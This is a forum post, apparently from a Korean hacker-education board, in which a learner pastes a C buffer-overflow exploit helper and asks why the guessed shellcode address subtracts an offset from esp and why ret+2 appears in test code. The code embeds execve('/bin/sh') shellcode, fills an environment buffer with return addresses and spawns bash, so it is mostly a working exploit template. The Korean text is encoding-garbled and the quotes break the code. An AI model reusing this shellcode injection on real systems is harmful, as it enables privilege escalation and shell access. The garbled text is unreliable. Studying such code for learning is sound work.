|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1486 [º¹»ç]
#include <stdlib.h>
#define offset_size 0 #define buffer_size 512
char sc[] = ¡°\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46¡± ¡°\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1¡± ¡°\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68¡±;
unsigned long find_start(void) {
__asm__(¡°movl %esp,%eax¡±);
}
int main(int argc, char *argv[]) {
char *buff, *ptr; long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf(¡°Attempting address: 0x%x\n¡±, addr);
ptr = buff; addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr; ptr += 4;
for (i = 0; i < strlen(sc); i++) *(ptr++) = sc[i];
buff[bsize - 1] = ¡®\0¡¯;
memcpy(buff,¡±BUF=¡±,4);
putenv(buff);
system(¡°/bin/bash¡±);
}
ÀÌ Äڵ忡¼ ½©Äڵ尡 ÀÖ´Â ¹öÆÛÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ¿¹»óÇÏ´Â Äڵ忡¼
¿Ö ÇöÀç ÇÁ·Î±×·¥ÀÇ esp¿¡¼ -offset À» »©ÁÖ´Â Áö ¸ð¸£°Ú½À´Ï´Ù.
Àǹ®Á¡
1. ½©À» ½ÇÇàÇØ¼ Ãë¾àÇÑ ÇÁ·Î±×·¥À» ½ÇÇàÇÏ¸é ½ºÅÃÇÁ·¹ÀÓÀÌ À§ÀÇ ÇÁ·Î±×·¥ ½ºÅÃÇÁ·¹ÀÓº¸´Ù lower address¿¡
Àֱ⠶§¹®¿¡ offsetÀ» »©ÁÖ´Â °Ç°¡¿ä??
2. À§ÀÇ ÄÚµå¿Í´Â »ó°üÀÌ ¾ø´Â Áú¹®Àε¥ ½©Äڵ带 ¸¸µé¾î¼ Á¦´ë·Î µ¿ÀÛÇÏ´ÂÁö È®ÀÎÇÏ´Â ¿¹Á¦µé¿¡¼ ÈçÈ÷
int* ret
ret = (int*)&ret+ 2 ÀÌ·± ½ÄÀÇ Äڵ带 ÈçÈ÷ º¼ ¼ö Àִµ¥ ½©Äڵ尡 ÀÖ´Â ÁÖ¼Ò·Î returnÇϱâÀ§ÇÔÀÓÀº ¾Ë°Ú´Âµ¥
¿Ö retÇÒ ÁÖ¼Ò¿¡´Ù°¡ µÚ¿¡ 2 ( ¶Ç´Â ´Ù¸¥ ¼ýÀÚ)¸¦ ´õÇÏ´Â °ÇÁöµµ ±Ã±ÝÇÕ´Ï´Ù. |
Hit : 3431 Date : 2011/05/15 04:46
|